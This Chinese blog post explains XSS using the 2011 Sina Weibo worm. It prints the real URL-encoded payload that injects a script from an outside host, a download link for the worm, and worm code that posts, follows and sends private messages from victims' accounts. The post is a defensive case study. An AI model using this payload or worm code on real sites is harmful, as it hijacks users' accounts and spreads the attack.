XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。故將跨站腳本攻擊縮寫為XSS。XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
Xss的例子(以新浪微博的6.9的hellosamy蠕蟲事件為例):
sina的名人堂頁面頁面上存在這么個鏈接
<a href="http://weibo.com/pub/star/g/123">這個是xss</a>
其實在服務器端是這么寫的(猜測,真實代碼長啥樣不知道,但是一定是忘記做轉義就輸出了):
Echo '<a href="http://weibo.com/pub/star/g/{$uname}">這個是xss</a>'
其中uname並沒有做htmlspecialchars。相當於是直接由用戶輸入,然后輸出在頁面上了。
這樣的html就是存在xss漏洞
好了,這個漏洞被發現了,下面要利用它做什么呢?
1 將uname設置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
這樣這個url就變成了
其中的引號被封閉了,然后這個頁面自動運行了一段js腳本
這個js腳本做了這樣的事情:
1 發送一個微博(這個是之所以成為蠕蟲的原因,這個微博中附帶着同樣的一個連接)
2 加關注uid為2201270010
3 發私信,向好友傳播鏈接
js的下載代碼在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip
try{ x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x); } catch(e){} main(); var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
其中就是在打開的頁面加入了<script節點>,並執行
main中是發送微博,加關注,發私信三個動作
當5000秒后,當前頁重新定位到public/topic上
function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} }比如
function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true); }
模擬post請求,由於這個js是在weibo網頁上調用的,所以就沒有跨域問題
直接post就可以產生這個效果
注:這次事件中還用到了短鏈接服務
短鏈接服務能自定義用戶鏈接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
這么長一個鏈接能變為http://t.cn/atmcqn
這樣能增加用戶的點擊成功率
事實證明,建站是需要非常小心的,每個頁面,每個輸出,如果有一兩個漏洞,都可能造成全站的大災難!!引以為戒!
相關有用的鏈接地址:
http://soft.yesky.com/security/156/30179156.shtml
http://www.youxia.org/2011/12/XSS-RootKit.html
http://www.youxia.org/2010/04/Anti-XSS.html
http://blog.sina.com.tw/gn00502101/article.php?pbgid=103224&entryid=604456
----------------------
作者:yjf512(軒脈刃)
出處:http://www.cnblogs.com/yjf512/
本文版權歸yjf512和cnBlog共有,歡迎轉載,但未經作者同意必須保留此段聲明